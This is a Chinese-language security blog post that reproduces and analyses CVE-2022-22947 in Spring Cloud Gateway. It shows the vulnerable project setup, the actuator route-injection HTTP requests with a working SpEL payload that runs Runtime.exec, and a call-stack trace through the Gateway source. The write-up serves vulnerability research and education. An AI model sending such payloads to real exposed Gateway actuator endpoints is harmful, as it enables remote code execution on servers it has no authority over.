戳上面的蓝字关注我吧！
01 创建SpringCloud Gateway项目
—
这里我使用IDEA开发工具创建SpringCloud Gateway项目，来复现本次的漏洞。
首先新建一个项目，选中Spring Initializr并点击下一步
之后在选择依赖的时候选择Spring Cloud Routing -> Gateway和Ops->Spring Boot Actuator两个选项
之后的pom文件中大致如下：
`<?xml version="1.0" encoding="UTF-8"?>``<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"` `xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">` `<modelVersion>4.0.0</modelVersion>` `<parent>` `<groupId>org.springframework.boot</groupId>` `<artifactId>spring-boot-starter-parent</artifactId>` `<version>2.6.4</version>` `<relativePath/> <!-- lookup parent from repository -->` `</parent>` `<groupId>com.springcloud</groupId>` `<artifactId>gatewaydemo</artifactId>` `<version>0.0.1-SNAPSHOT</version>` `<name>gatewaydemo</name>` `<description>Demo project for Spring Boot</description>` `<properties>` `<java.version>1.8</java.version>` `<spring-cloud.version>2021.0.1</spring-cloud.version>` `</properties>` `<dependencies>` `<dependency>` `<groupId>org.springframework.cloud</groupId>` `<artifactId>spring-cloud-starter-gateway</artifactId>` `<version>3.1.0</version>` `</dependency>`` ` `<dependency>` `<groupId>org.springframework.boot</groupId>` `<artifactId>spring-boot-starter-test</artifactId>` `<scope>test</scope>` `</dependency>` `<dependency>` `<groupId>org.springframework.boot</groupId>` `<artifactId>spring-boot-starter-actuator</artifactId>` `</dependency>` `</dependencies>`` `` ` `<build>` `<plugins>` `<plugin>` `<groupId>org.springframework.boot</groupId>` `<artifactId>spring-boot-maven-plugin</artifactId>` `</plugin>` `</plugins>` `</build>``</project>`
记得一定要删掉spring-cloud的dependencyManagement依赖，并修改gateway的版本为有漏洞的版本，不然会报SpelEvaluationException错误
02 部署路由服务
—
先来看一下Gateway官方给出的架构图
主要分为以下三个组成：
Route（路由）：这是网关的基本构建块。它由一个 ID，一个目标 URI，一组断言和一组过滤器定义。如果断言为真，则路由匹配。
Predicate（断言）：这是一个 Java 8 的 Predicate。输入类型是一个 ServerWebExchange。我们可以使用它来匹配来自 HTTP 请求的任何内容，例如 headers 或参数。
Filter（过滤器）：这是org.springframework.cloud.gateway.filter.GatewayFilter的实例，我们可以使用它修改请求和响应。
Gateway可以处理很多请求的转发，如上述架构图中，Gateway客户端发送请求给Spring Cloud Gateway，然后在Mapping中找到与之匹配的请求，并发送到相应的Gateway Web Handler，再经过一系列定义的Filter中，到达代理服务层面。并将其获取的内容反馈给Gateway Client请求。
根据之前用IDEA创建的项目，可以尝试编写第一个转发demo。
内容很简单，找到spring的配置文件application.yml，编写一个转发到本地8080端口上的路由
`server:` `port: 8096`` ``#微服务名称``spring:` `cloud:` `gateway:` `routes:` `- id: find` `uri: http://127.0.0.1:8080` `predicates:` `- Path=/images/index.html`
至此就编写完成了，当访问本地http://localhost:8096/images/index.html的时候，Spring Cloud Gateway就会将请求内容自动解析到8080端口上开启的服务。
03 漏洞复现
—
复现漏洞之前呢，需要将gateway接口向actuator暴露，因此需要在application.yml文件中再添加如下配置：
`management:` `endpoint:` `gateway:` `enabled: true` `endpoints:` `web:` `exposure:` `include: gateway`
之后启动服务，访问http://localhost:8096/actuator/gateway/routes就可以看到注册好的服务了
之后用POST请求如下地址，来添加一个自定义的路由：
`POST /actuator/gateway/routes/hacktest HTTP/1.1``Host: localhost:8096``Content-Type: application/json``Content-Length: 185`` ``{` `"id":"hacktest",` `"filters":[{` `"name":"RewritePath",` `"args":{` `"_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"calc\")}",` `"_genkey_1": "/${path}"` `}` `}]``}`
添加完成之后目标会返回一个201 Created状态码，之后继续访问/refresh来刷新路由
`POST /actuator/gateway/refresh HTTP/1.1``Host: localhost:8096`
04 Gateway源码分析
—
漏洞分析之前首先就得了解Gateway是如何搭配上Actuator和Gateway是如何解析路由中的Route的。
RouteLocator是路由定位器，是用来获取路由的方法。其实现该接口的主要组成类有多种，但本次分析漏洞只需要重点了解以下两种：
RouteDefinitionRouteLocator：基于路由定义的定位器，也是RouteLocator的主要实现类
CachingRouteLocator 基于缓存的路由定位器
CompositeRouteLocator：基于组合方式的路由定位器
org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator是RouteLocator的一个实现类，其主要从 RouteDefinitionLocator会通过getRouteDefinitions()方法来获取 RouteDefinition，并将其转换成Route。
再从代码层面来仔细看看这个转换的过程
`public Flux<Route> getRoutes() {` `Flux<Route> routes = this.routeDefinitionLocator.getRouteDefinitions().map(this::convertToRoute);` `if (!this.gatewayProperties.isFailOnRouteDefinitionError()) {` `routes = routes.onErrorContinue((error, obj) -> {` `if (this.logger.isWarnEnabled()) {` `this.logger.warn("RouteDefinition id " + ((RouteDefinition)obj).getId() + " will be ignored. Definition has invalid configs, " + error.getMessage());` `}`` ` `});` `}`` ` `return routes.map((route) -> {` `if (this.logger.isDebugEnabled()) {` `this.logger.debug("RouteDefinition matched: " + route.getId());` `}`` ` `return route;` `});``}`
getRoutes方法首先通过this.routeDefinitionLocator.getRouteDefinitions()获取到了所有的RouteDefinition
之后再通过this::convertToRoute方法将每个RouteDefinition转换成Route
org.springframework.cloud.gateway.route.CachingRouteLocator，缓存路由的RouteLocator实现
该RouteLocator实现了ApplicationListener接口，主要是监听RefreshRoutesEvent事件。
这个上面有粗略介绍过，这是一个组合的路由定位器，其主要的方式是把RouteDefinitionRouteLocator和自定义的Route Locator作为自己的delegates，在需要取所有Route的时候，就会委派自己的delegates去取，然后将其结果合并返回。
这个就不过多解释了，就是一个刷新路由的事件。
用最后的话分析就是CachingRouteLocator它包装了CompositeRouteLocator，而CompositeRouteLocator则组合了RouteDefinitionRouteLocator。而CachingRouteLocator集成了RefreshRoutesEvent接口，所以之后的刷新请求就会走到CachingRouteLocator中处理。
05 漏洞分析
—
先找到org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint类，该类是Actuator访问的Controller处理器，这里添加路由我就不往下分析了，直接看刷新路由的过程。
GatewayControllerEndpoint类集成了org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint类，而该类里面，有一个定义好的Post请求，可以发送RefreshRoutesEvent刷新路由。
`@PostMapping({"/refresh"})``public Mono<Void> refresh() {` `this.publisher.publishEvent(new RefreshRoutesEvent(this));` `return Mono.empty();``}`
其发送的就是一个RefreshRouteEvent事件。
之后流程会进入到org.springframework.context.support.AbstractApplicationContext#publishEvent中处理
之后RefreshRouteEvent会按照正常流程进入multicastEvent中，这里我直接跟到图中显示的doInvokeListener方法中
这里就会直接进入到org.springframework.cloud.gateway.route.CachingRouteLocator#onApplicationEvent中
而在onApplicationEvent方法中又会调用this.fetch()
`private Flux<Route> fetch() {` `return this.delegate.getRoutes().sort(AnnotationAwareOrderComparator.INSTANCE);``}`
之后程序又跟入org.springframework.cloud.gateway.route.CompositeRouteLocator#getRoutes
这里又继续调用了RouteDefinitionRouteLocator#getRoutes方法，就到了我们刚才分析源码的时候提到过的流程，在这里会调用getRouteDefinitions()获取RouteDefinition来转换成Route。
这里进入convertToRoute方法后重点关注RouteDefinitionRouteLocator#getFilters方法
`private List<GatewayFilter> getFilters(RouteDefinition routeDefinition) {` `List<GatewayFilter> filters = new ArrayList();` `if (!this.gatewayProperties.getDefaultFilters().isEmpty()) {` `filters.addAll(this.loadGatewayFilters(routeDefinition.getId(), new ArrayList(this.gatewayProperties.getDefaultFilters())));` `}`` ` `if (!routeDefinition.getFilters().isEmpty()) {` `filters.addAll(this.loadGatewayFilters(routeDefinition.getId(), new ArrayList(routeDefinition.getFilters())));` `}`` ` `AnnotationAwareOrderComparator.sort(filters);` `return filters;``}`
这里会调用this.loadGatewayFilters()中通过GatewayFilterFactory来创建一个Filter
factory.apply(configuration)
但是在创建Filter之前，也就是封装configuration的时候，在bind的信息的时候，我们的Spel表达式执行了
`Object configuration = this.configurationService.with(factory).name(definition.getName()).properties(definition.getArgs()).eventFunction((bound, properties) -> {` `return new FilterArgsEvent(this, id, (Map)properties);``}).bind();`
进入到org.springframework.cloud.gateway.support.ConfigurationService#bind方法中
跟踪发现，在bind的方法里面会调用normalizeProperties方法
`protected Map<String, Object> normalizeProperties() {` `return this.service.beanFactory != null ? ((ShortcutConfigurable)this.configurable).shortcutType().normalize(this.properties, (ShortcutConfigurable)this.configurable, this.service.parser, this.service.beanFactory) : super.normalizeProperties();``}`
之后就进入org.springframework.cloud.gateway.support.ShortcutConfigurable$ShortcutType$1#normalize方法
流程走到org.springframework.expression.spel.standard.SpelExpression.getValue中
`static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {` `String rawValue = entryValue;` `if (entryValue != null) {` `rawValue = entryValue.trim();` `}`` ` `Object value;` `if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {` `StandardEvaluationContext context = new StandardEvaluationContext();` `context.setBeanResolver(new BeanFactoryResolver(beanFactory));` `Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());` `value = expression.getValue(context);` `} else {` `value = entryValue;` `}`` ` `return value;``}`
而调用getValue传入的entryValue参数内容就是恶意的Spel表达式
#{T(java.lang.Runtime).getRuntime().exec("calc")}
至此漏洞形成，弹出Calc！
最后的调用堆栈大致如下：
`CachingRouteLocator#onApplicationEvent` `CachingRouteLocator#fetch` `CompositeRouteLocator#getRoutes` `RouteDefinitionRouteLocator#getRoutes` `RouteDefinitionRouteLocator#convertToRoute` `RouteDefinitionRouteLocator#getFilters` `RouteDefinitionRouteLocator#loadGatewayFilters` `ConfigurationService$AbstractBuilder#bind` `ConfigurationService$ConfigurableBuilder#normalizeProperties` `ShortcutConfigurable$ShortcutType$1#normalize` `ShortcutConfigurable#getValue`
06 Reference
—
[1].https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
[2].https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
[3].https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947
[4].https://blog.csdn.net/weixin\_42073629/article/details/106912670
[5].https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/
[6].https://zhuanlan.zhihu.com/p/359395390